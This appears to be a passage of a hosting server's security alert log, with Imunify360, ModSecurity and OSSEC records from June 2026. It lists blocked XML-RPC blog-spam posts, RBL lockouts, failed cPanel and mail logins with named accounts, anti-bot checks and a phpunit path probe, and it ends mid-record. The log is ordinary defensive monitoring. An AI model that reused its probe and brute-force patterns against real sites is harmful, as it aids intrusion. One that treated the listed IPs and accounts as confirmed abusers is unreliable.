IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-13.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.199
country_id: 3469034
description:
Jun 20 17:13:48 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.199 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.145.188.119
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0cc18d2e75ff038afd88caf493da379af228373d||Title:3fdpw48tlbeiym43||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 58.69.115.115
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bdc8cd2f7ef005e965eec1fefd1b415f7692d9e2||Title:2tk71i244diu3gt||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 124.107.20.111
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ec56df9290db2c77220634e4878ddaa4958487f5||Title:w4ytfijzs155oz||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:70341.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0c479864687f1a63e8cb9bb48d7c552ae398c81b||Title:0x4442e5c3||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.148.47.227
country_id: 1694008
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1b33feac9d80080d0bf430b8a267d5b9e71460fd||Title:vrxe0ea4b4hya4||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.74.7.130
country_id: 2395170
description:
Jun 20 17:16:11 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.74.7.130 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.119
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-17.176.97.79.119||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4dc029f7c2f976cac2938c33649217bba88809e0||Title:0x8f2c8dc4||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b32b806932b10e2f55bdf7cf988f5bbd9d28685f||Title:0xc676cd0e||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:32a92a5f9f212c23d67d77eb2c771a7bfa3dce8c||Title:0xadb1bdbc||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f3d65f264c0a1dc3667742b4195250c7a17ffe2||Title:0x628495e3||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 176.97.79.119
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-21.176.97.79.119||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5e6fcd64f00d5a2f959ff0a32c8133c88a530f7e||Title:0xd6b5fd99||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:202b7848b2cd0b5dd4f669dafaaea7d2b2fde624||Title:0xc92ab31f||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8afd03febcae69683de39c91954bb15550f0e160||Title:0xc40985be||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.205.229
country_id: 3469034
description:
Jun 20 17:22:52 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.205.229 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:00ccc3ff6924601d6eb530939672cc1b28cdb14b||Title:0x341efe04||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:23:41 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 17:23:35 +0000] info [cpaneld] 102.54.238.57 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:23:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:31d7423dbeb84f4d3d30a7ba7c6ffa85912783c1||Title:0x34116c12||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.178.100.167
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/dragage-du-port-de-bissau-un-tournant-economique-majeur/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.178.100.167
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/dragage-du-port-de-bissau-un-tournant-economique-majeur/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:17:26:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935717&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781976368 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:26:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13080778&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781976368 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:baf98b987d000b4ee20976318ea9164beeaab7e3||Title:0xfdb8cf9e||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.129
country_id: 3175395
description:
Jun 20 17:27:27 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.129 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:106ef72fb31db6a33c57aeb385380290a33e259f||Title:0xa746df6c||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:26:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10381925&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781976413 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:17:26:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12884380&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781976413 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.129
country_id: 3175395
description:
Jun 20 17:27:33 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.129 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:27a147f4d15da957f022eb9f8e3cddd5102a4a5e||Title:0xa971dc64||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c38d8bda223f2114857735419d198493efbd53e7||Title:0x4270ae00||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 68.210.184.44
country_id: 2782113
domain: clinique-ccl.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:udxjqqmt||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d9a90904e9c9236c686ba5ebf950d85c86281165||Title:0x8b13c8ea||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4758ca50cf013d21d904e330c87d12168f9386f0||Title:0xa5135efa||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2c67625b7f502a0ce9df475082a544d4a7ebafeb||Title:0x57a85bcf||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.76.128.35
country_id: 732800
description:
Jun 20 17:33:06 ns5 auth[462997]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.76.128.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.4.22
country_id: 2017370
description:
2026-06-20 17:33:18 dovecot_login authenticator failed for H=([118.250.183.25]) [31.173.4.22]:36306: 535 Incorrect authentication data (set_id=collectetvabackend@otr.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:783ab34e70a4b0febc119648222bddaf300f52cb||Title:0x4fd280eb||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-32.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.224.22
country_id: 1562822
description:
2026-06-20 17:34:06 dovecot_plain authenticator failed for H=(wpvcofamviqtutu7415szce66) [103.90.224.22]:36242: 535 Incorrect authentication data (set_id=alfred.aguim@emt.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:23a9fb6a12a456c9148cc06eb0e6a0c164a814d1||Title:0x102aa9c0||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:024391db20fdb2ee32b81f1b3fe652316e631164||Title:0x100f8e10||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:17-35.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-20 17:35:33 +0000] info [cpaneld] 102.54.238.57 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:838871e0256d91170a5629cfbc3b868c966ea5da||Title:0x1127d790||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:11adbea6804e5cb05b46410405dcc1858df08dde||Title:0xcbbb485e||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:84b6551336d3920aacb46c2cdce1fe908063a489||Title:0x7726f9dc||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eef620c26f46e924062a9fedc3b467ad2296ec53||Title:0x32f30d3b||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d196791ac066effcdda43e1770c30e97a7aa0c2e||Title:0xaebf2a8d||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:40:36 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:40:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:034388f5ef68e4c97eb23d249a5ae354be98b0a7||Title:0x40b61f7d||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:42:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040664&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781977338 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1c99dcea325e4e8ebd036058134660a56f3a8740||Title:0x94bd1a42||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:17:42:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10195867&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781977338 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:06bece2cbc832e4a588a903484a6ad9d4d7af849||Title:0xeb2e88d4||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:38550bd89a676a29b1aeffbc50f0840b4bd7ecd1||Title:0x3e403c96||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:17:43:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117980&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781977408 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:17:43:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13081291&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781977412 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c64757b3ece17ac976b52ed5827ff53d00c019fb||Title:0x77897415||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d4cc11faafee456146c3f17a176b3bf49735ea5e||Title:0x725676a3||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b5a478f75c7f65b5de45e700d437783946dd6ea5||Title:0xc55173fd||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:turbolte.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0b429a9af73208c6f5682e15327ce959940940a4||Title:0x3aae75de||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 176.84.79.48
country_id: 2510769
domain: misstogo.tg
description:
